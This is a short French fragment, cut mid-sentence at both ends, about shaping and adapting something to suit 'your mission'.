s afin de le modeler et de l’adapter dans ton mission de